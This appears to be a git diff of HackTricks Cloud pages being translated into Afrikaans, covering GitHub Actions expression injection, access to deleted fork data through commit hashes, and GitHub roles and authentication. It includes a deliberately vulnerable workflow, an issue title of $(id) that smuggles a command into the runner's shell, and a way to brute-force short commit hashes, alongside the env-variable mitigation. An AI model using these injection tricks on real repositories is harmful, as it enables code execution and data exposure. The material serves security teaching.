- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
- [Hoe ons CodeRabbit uitgebuit het: van 'n eenvoudige PR na RCE en skrywe toegang op 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Rubocop uitbreidings (vereis)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Verifikasie met 'n GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [Lys installasies vir die geverifieerde app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Skep 'n installasie toegangstoken vir 'n app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,3 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
# Gh Actions - Artefakbesmetting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -2,97 +2,89 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Understanding the risk
|
||||
## Verstaan die risiko
|
||||
|
||||
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
|
||||
GitHub Actions verwerk uitdrukkings ${{ ... }} voordat die stap uitgevoer word. Die verwerkte waarde word in die stap se program geplak (vir run steps, a shell script). As jy onbetroubare inset direk binne run: interpoleer, beheer die aanvaller 'n deel van die shell-program en kan arbitrêre opdragte uitvoer.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Key points:
|
||||
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
|
||||
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
|
||||
Belangrike punte:
|
||||
- Renderering vind plaas voordat uitvoering begin. Die run script word gegenereer met alle uitdrukkings opgelos, en dan deur die shell uitgevoer.
|
||||
- Baie contexts bevat deur gebruikers beheerde velde, afhangend van die triggering event (issues, PRs, comments, discussions, forks, stars, ens.). Sien die untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell-kwoting binne run: is nie 'n betroubare verdediging nie, omdat die injectie op die template-rendering stadium plaasvind. Aanvallers kan uit aanhalingstekens breek of operatoren injekteer via gekruide insette.
|
||||
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Vulnerable workflow (triggered when someone opens a new issue):
|
||||
## Kwetsbare patroon → RCE on runner
|
||||
|
||||
Kwetsbare workflow (triggered when someone opens a new issue):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
|
||||
If an attacker opens an issue titled $(id), the rendered step becomes:
|
||||
|
||||
As 'n aanvaller 'n issue met die titel $(id) oopmaak, word die gerenderde stap:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
|
||||
The command substitution runs id on the runner. Example output:
|
||||
|
||||
Die command substitution voer id op die runner uit. Voorbeelduitset:
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Waarom quoting jou nie red nie:
|
||||
- Expressions word eers gerender, en dan word die resulterende script uitgevoer. As die onbetroubare waarde $(...), `;`, `"`/`'`, of newlines bevat, kan dit die programstruktuur verander ten spyte van jou quoting.
|
||||
|
||||
Why quoting doesn’t save you:
|
||||
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
|
||||
|
||||
## Safe pattern (shell variables via env)
|
||||
|
||||
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
|
||||
## Veilige patroon (shell variables via env)
|
||||
|
||||
Korrekte teenmaatreël: kopieer die onbetroubare inset na 'n omgewingvariabele, en gebruik dan die native shell-uitbreiding ($VAR) in die run-skrip. Moet nie ${{ ... }} weer inbed binne die opdrag nie.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
## Leser-aktiveerbare oppervlaktes (behandel as onbetroubaar)
|
||||
|
||||
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
|
||||
Rekeninge met slegs leesreg op openbare repositories kan steeds baie events uitlok. Enige veld in contexts afgelei van hierdie events moet as deur 'n aanvaller beheer beskou word tensy teendeel bewys is. Voorbeelde:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (dangerous if misused, runs in base repo context)
|
||||
- pull_request_target (gevaarlik as dit misbruik word, runs in base repo context)
|
||||
- fork (anyone can fork public repos)
|
||||
- watch (starring a repo)
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
- Indirek via workflow_run/workflow_call chains
|
||||
|
||||
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
Watter spesifieke velde deur 'n aanvaller beheer word, is event-spesifiek. Raadpleeg GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Practical tips
|
||||
## Praktiese wenke
|
||||
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
- Minimaliseer die gebruik van expressions binne run:. Gee voorkeur aan env: mapping + $VAR.
|
||||
- As jy insette moet transformeer, doen dit in die shell met veilige gereedskap (printf %q, jq -r, etc.), steeds beginnende vanaf 'n shell variable.
|
||||
- Wees ekstra versigtig wanneer jy branch names, PR titles, usernames, labels, discussion titles, en PR head refs in interpolasie in scripts, command-line flags, of file paths plaas.
|
||||
- Vir reusable workflows en composite actions, pas dieselfde patroon toe: map na env dan verwys met $VAR.
|
||||
|
||||
## References
|
||||
|
||||
@@ -101,4 +93,4 @@ Which specific fields are attacker-controlled is event-specific. Consult GitHub
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,58 +1,56 @@
|
||||
# Accessible Deleted Data in Github
|
||||
# Toeganklike Verwyderde Data in Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
Hierdie maniere om data van Github te verkry wat veronderstel was om verwyder te wees, is [**in hierdie blogpos gerapporteer**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Accessing Deleted Fork Data
|
||||
## Toegang tot Verwyderde Fork Data
|
||||
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
1. Jy fork 'n openbare repository
|
||||
2. Jy commit kode na jou fork
|
||||
3. Jy verwyder jou fork
|
||||
|
||||
> [!CAUTION]
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
> Die data wat in die verwyderde fork gecommit is, is steeds toeganklik.
|
||||
|
||||
## Accessing Deleted Repo Data
|
||||
## Toegang tot Verwyderde Repo Data
|
||||
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
1. Jy het 'n openbare repo op GitHub.
|
||||
2. 'n Gebruiker fork jou repo.
|
||||
3. Jy commit data nadat hulle dit gefork het (en hulle sink nooit hul fork met jou opdaterings nie).
|
||||
4. Jy verwyder die hele repo.
|
||||
|
||||
> [!CAUTION]
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
> Selfs al het jy jou repo verwyder, is al die veranderinge wat aan dit gemaak is steeds toeganklik deur die forks.
|
||||
|
||||
## Accessing Private Repo Data
|
||||
## Toegang tot Privaat Repo Data
|
||||
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
1. Jy skep 'n privaat repo wat uiteindelik openbaar gemaak sal word.
|
||||
2. Jy skep 'n privaat, interne weergawe van daardie repo (deur te fork) en commit addisionele kode vir funksies wat jy nie openbaar gaan maak nie.
|
||||
3. Jy maak jou “upstream” repository openbaar en hou jou fork privaat.
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
> Dit is moontlik om al die data wat na die interne fork gepush is, te verkry in die tyd tussen die interne fork geskep is en die openbare weergawe openbaar gemaak is.
|
||||
|
||||
## How to discover commits from deleted/hidden forks
|
||||
## Hoe om commits van verwyderde/verborgene forks te ontdek
|
||||
|
||||
The same blog post propose 2 options:
|
||||
Die dieselfde blogpos stel 2 opsies voor:
|
||||
|
||||
### Directly accessing the commit
|
||||
### Direk toegang tot die commit
|
||||
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
As die commit ID (sha-1) waarde bekend is, is dit moontlik om dit te verkry in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### Brute-forcing short SHA-1 values
|
||||
### Brute-forcing kort SHA-1 waardes
|
||||
|
||||
It's the same to access both of these:
|
||||
Dit is dieselfde om toegang tot albei van hierdie te verkry:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
En die laaste een gebruik 'n kort sha-1 wat bruteforceable is.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,263 +1,257 @@
|
||||
# Basic Github Information
|
||||
# Basiese Github Inligting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Basiese Struktuur
|
||||
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
Die basiese Github-omgewingstruktuur van 'n groot **company** is om 'n **enterprise** te besit wat **verskeie organizations** besit en elk van hulle kan **verskeie repositories** en **verskeie teams** bevat. Kleinere maatskappye besit moontlik net **een organization en geen enterprises** nie.
|
||||
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
Vanuit 'n gebruiker se oogpunt kan 'n **gebruiker** 'n **lid** van **verskillende enterprises en organizations** wees. Binne hulle kan die gebruiker **verskillende enterprise-, organization- en repository-rolle** hê.
|
||||
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
Boonop kan 'n gebruiker **deel wees van verskillende teams** met verskillende enterprise-, organization- of repository-rolle.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
En uiteindelik kan **repositories spesiale beskermingsmeganismes hê**.
|
||||
|
||||
## Privileges
|
||||
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
- **Enterprise owner**: Mense met hierdie rol kan **administrateurs bestuur, organizations binne die enterprise bestuur, enterprise-instellings bestuur, beleid oor organizations afdwing**. Hulle **kan egter nie toegang hê tot organization-instellings of inhoud** tensy hulle 'n organization owner gemaak word of direkte toegang tot 'n deur 'n organization besit repo gegee word.
|
||||
- **Enterprise members**: Lede van organizations wat deur jou enterprise besit word, is ook **outomaties lede van die enterprise**.
|
||||
|
||||
### Organization Roles
|
||||
|
||||
In an organisation users can have different roles:
|
||||
In 'n organization kan gebruikers verskillende rolle hê:
|
||||
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
- **Organization owners**: Organization owners het **volledige administratiewe toegang tot jou organization**. Hierdie rol moet beperk word, maar aan nie minder as twee mense in jou organization gegee word nie.
|
||||
- **Organization members**: Die **standaard**, nie-administratiewe rol vir **mense in 'n organization** is die organization member. Standaard het organization members **'n aantal toestemmings**.
|
||||
- **Billing managers**: Billing managers is gebruikers wat die **billing-instellings vir jou organization kan bestuur**, soos betalingsinligting.
|
||||
- **Security Managers**: Dit is 'n rol wat organization owners aan enige span in 'n organization kan toeken. Wanneer toegepas, gee dit elke lid van die span toestemming om **security alerts en instellings oor jou organization te bestuur, sowel as lees-toestemmings vir alle repositories** in die organization.
|
||||
- As jou organization 'n security span het, kan jy die security manager-rol gebruik om lede van die span die minste toegang te gee wat hulle nodig het tot die organization.
|
||||
- **Github App managers**: Om addisionele gebruikers te laat **manage GitHub Apps owned by an organization**, kan 'n owner hulle GitHub App manager-permissies gee.
|
||||
- **Outside collaborators**: 'n Outside collaborator is 'n persoon wat **toegang het tot een of meer organization repositories maar nie uitdruklik 'n lid** van die organization is nie.
|
||||
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Jy kan **die toestemmings** van hierdie rolle **vergelyk** in hierdie tabel: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ kan jy die **toestemmings sien wat gebruikers sal hê net omdat hulle deel is van die organization**.
|
||||
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
Die instellings wat hier gekonfigureer word, dui die volgende toestemmings van lede van die organization aan:
|
||||
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
- Om admin, writer, reader of geen toestemming oor al die organization repos te wees.
|
||||
- Of lede private, internal of public repositories kan skep.
|
||||
- Of forking van repositories moontlik is.
|
||||
- Of dit moontlik is om outside collaborators uit te nooi.
|
||||
- Of public of private sites gepubliseer kan word.
|
||||
- Die toestemmings wat admins oor die repositories het.
|
||||
- Of lede nuwe teams kan skep.
|
||||
|
||||
### Repository Roles
|
||||
|
||||
By default repository roles are created:
|
||||
By verstek word repository-rolle geskep:
|
||||
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
- **Read**: Aanbeveel vir **non-code contributors** wat jou projek wil sien of bespreek.
|
||||
- **Triage**: Aanbeveel vir **contributors wat issues en pull requests proaktief moet bestuur** sonder write-toegang.
|
||||
- **Write**: Aanbeveel vir contributors wat **aktief na jou projek push**.
|
||||
- **Maintain**: Aanbeveel vir **projekbestuurders wat die repository moet bestuur** sonder toegang tot sensitiewe of vernietigende aksies.
|
||||
- **Admin**: Aanbeveel vir mense wat **volle toegang tot die projek benodig**, insluitend sensitiewe en vernietigende aksies soos security bestuur of 'n repository verwyder.
|
||||
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Jy kan **die toestemmings** van elke rol **vergelyk** in hierdie tabel [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Jy kan ook **jou eie rolle skep** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
Jy kan **die teams wat in 'n organization geskep is lys** in _https://github.com/orgs/\<org_name>/teams_. Let wel, om die teams te sien wat kinders van ander teams is, moet jy elke ouer-span toegaan.
|
||||
|
||||
### Users
|
||||
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
Die gebruikers van 'n organization kan **gelys** word in _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
In die inligting van elke gebruiker kan jy die **teams sien waarvan die gebruiker lid is**, en die **repos waartoe die gebruiker toegang het**.
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
Github bied verskillende maniere om by jou rekening aan te meld en aksies namens jou uit te voer.
|
||||
|
||||
### Web Access
|
||||
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
Toegang tot **github.com** kan jy aanmeld met jou **username and password** (en moontlik 'n **2FA**).
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Jy kan jou rekening met een of verskeie public keys konfigureer wat die verwante **private key to perform actions on your behalf** toelaat. [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Jy **kan nie die gebruiker met hierdie keys imiteer nie**, maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word omdat jy commits sonder 'n handtekening stuur**. Leer meer oor [vigilant mode hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Jy kan personal access tokens genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer jy 'n personal access token skep, moet die **gebruiker** die **toestemmings** wat die **token** sal hê **spesifiseer**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
Oauth applications mag jou vra vir toestemmings **om deel van jou github-inligting te bekom of om jou te impersonate** om sekere aksies uit te voer. 'n Algemene voorbeeld hiervan is die **login with github knop** wat jy op sekere platforms kan sien.
|
||||
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Jy kan **jou eie Oauth applications skep** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Jy kan al die **Oauth applications wat toegang tot jou rekening het** sien in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Jy kan die **scopes wat Oauth Apps kan vra** sien in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Jy kan derdeparty-toegang van toepassings in 'n **organization** sien in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Some **security recommendations**:
|
||||
Sommige **security-aanbevelings**:
|
||||
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- 'n **OAuth App** moet altyd **optree as die geauthentiseerde GitHub user oor alle van GitHub** (byvoorbeeld wanneer dit gebruikerskennisse voorsien) en slegs toegang hê tot die gespesifiseerde scopes.
|
||||
- 'n OAuth App kan as 'n identiteitsverskaffer gebruik word deur 'n "Login with GitHub" vir die geauthentiseerde gebruiker moontlik te maak.
|
||||
- **Moenie** 'n **OAuth App** bou as jy wil hê jou toepassing moet optree op 'n **single repository**. Met die `repo` OAuth scope kan OAuth Apps **optree op _all_ of die geauthentiseerde gebruiker se repositories**.
|
||||
- **Moenie** 'n OAuth App bou om as 'n toepassing vir jou **span of maatskappy** op te tree nie. OAuth Apps verifieer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep en dan die maatskappy verlaat, sal niemand anders toegang hê nie.
|
||||
- **Meer** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
Github applications kan vra vir toestemmings om **jou github-inligting te bekom of jou te impersonate** om spesifieke aksies oor spesifieke bronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê.
|
||||
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Om 'n GitHub App te installeer, moet jy 'n **organisation owner or have admin permissions** in 'n repository wees.
|
||||
- Die GitHub App moet **connect to a personal account or an organisation**.
|
||||
- Jy kan jou eie Github application skep in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Jy kan al die **Github applications wat toegang tot jou rekening het** sien in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Dit is die **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Afhangend van die permissies van die App sal dit sommige van hulle kan toegang.
|
||||
- Jy kan geïnstalleerde apps in 'n **organization** sien in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Some security recommendations:
|
||||
Sommige security-aanbevelings:
|
||||
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
